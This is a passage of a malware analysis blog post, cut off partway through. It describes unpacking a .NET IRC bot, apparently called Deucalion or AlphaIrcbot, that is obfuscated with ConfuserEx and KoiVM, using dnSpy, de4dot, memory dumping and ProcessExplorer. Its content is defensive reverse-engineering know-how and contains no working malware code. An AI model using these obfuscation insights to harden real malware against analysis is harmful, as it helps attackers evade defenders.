href="https://mindlocksite.wordpress.com/2017/02/11/easy-way-to-unpack-confuserex-1-0-max-settings/">https://mindlocksite.wordpress.com/2017/02/11/easy-way-to-unpack-confuserex-1-0-max-settings/</a>&nbsp;</p></li><li><p>&nbsp;<a href="https://github.com/CodeCracker-Tools/MegaDumper">https://github.com/CodeCracker-Tools/MegaDumper</a></p></li></ol></blockquote><h2>Analysis</h2><ul><li><p>1. Obfuscated loader</p></li><li><ul><li><p>1.1. ConfuserEx 1.0.0 + KoiVM</p></li><li><p>1.1.1. Obfuscated code</p></li><li><p>1.1.2. Dumping module from memory</p></li><li><p>1.1.3. Reaching dynamic assemblies' code in memory with Windbg</p><ul><li><p>1.1.3.1. List assemblies</p></li><li><p>1.1.3.2. List method tables</p></li><li><p>1.1.3.3. Enum threads, display threads' stacks and malware jit generated code</p></li><li><p>1.1.3.4. Following jit generated code's references to deobfuscated malware data</p></li></ul></li></ul></li><li><p>2. Deucalion / AlphaIrcbot</p></li><li><ul><li><p>2.1. IoCs</p></li><li><p>2.2. Unpacked strings</p></li><li><p>2.3. Malware characteristics</p><ul><li><p>2.3.1. Irc server, channel and communications</p></li><li><p>2.3.2. Reversing tools detection</p></li></ul></li><li><p>2.4. Yara rule</p></li></ul></li></ul><h3></h3><h3>1. Obfuscated loader</h3><h4>1.1. ConfuserEx 1.0.0 + KoiVM</h4><p><br> ConfuserEx is an obfuscator for .NET applications with the following characteristics:&nbsp;Symbol renaming, WPF/BAML renaming, Control flow obfuscation, Method reference hiding, Anti debuggers/profilers, Anti memory dumping, Anti tampering (method encryption), Embedding dependency, Constant encryption, Resource encryption, Compressing output, Extensible plugin API.</p><p>KoiVM is a virtual machine made to work on ConfuserEx that turns the .NET opcodes into new ones that only are understood by KoiVM machine. KoiVM would let virtualize every single method (including protections from ConfuserEx), or it would let just virtualize the methods that the user decides.</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png" width="400" height="385" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:385,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h4>1.1.1. Obfuscated code</h4><p>From my point of view, the analyzed sample is obfuscated with ConfuserEx and additionally, the full code (including protections from ConfuserEx) is virtualized with KoiVM. When I tried to decompile the sample's code with dnSpy, the decompiled code didn't fit the code described in&nbsp;<a href="https://mindlocksite.wordpress.com/2017/02/11/easy-way-to-unpack-confuserex-1-0-max-settings/">some articles</a>&nbsp;about deobfuscating ConfuserEx.</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg" width="400" height="355" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:355,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihq2aIdnS7VfMiVQQXvVXNDgJEg2RUah21dxsMgdLQmR4wtISeMIyjrmpQKDQ-OmlmMMOXWe6rEyiXzLNjFe-cK9Ipill89hPOyd2ioOrjYpnmMIQDDoidyn1AW6bIPb2HBxMwtrSnxHQ/s400/confuserex_ep.jpg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> After applying de4dot, we get Deucalion method a bit clearer, however sub-methods are still unable to be deobfuscated:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg" width="400" height="262" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:262,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVInD4MkDz2uU2Rr2rbJbgngwokPxlimGnJVx3lGWNl2ASPGEuDz9eYkTt9AVmJwIkDsTuAHZdVgY3Jwq5c4Mu14IFyDNaa9-9dPd3JB0mdtQUGGTwjfzbmLlBjta6BH-4RGLAd9Gj93Q/s400/confuserex_ep_after_de4dot.jpg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h4>1.1.2. Dumping module from memory</h4><p>Trying to debug / deobfuscate the obfuscator layer was crazy, most of the times the code was unable to be decompiled, dnSpy crashed, etc... Tools as DeconfuserEx didn't work for this sample, probably because of the KoiVM virtualization.</p><p>We can try to dump the PE from memory with any debugger or tools like&nbsp;<a href="https://github.com/CodeCracker-Tools/MegaDumper">megadumper</a>:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png" width="320" height="137" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:137,&quot;width&quot;:320,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixtEXWwB243ESgdFibXjy1JQOvjM_AILfC5zJVhbajqlw3r5BQM2SysJ209omxRbGX_Qcsg0KJ8APenuHSuupwHBIWIXa8aJII8exc14chEUYWHff0JZjj357qqmYlH9aeePJ8OPHMr34/s320/confuserex_dumped_module.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>However the module in memory is almost identical to the original one in disk. This is because the original code is unpacked and loaded as a dynamic assembly.&nbsp;We can explore in-memory assemblies with ProcessExplorer:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png" width="400" height="278" 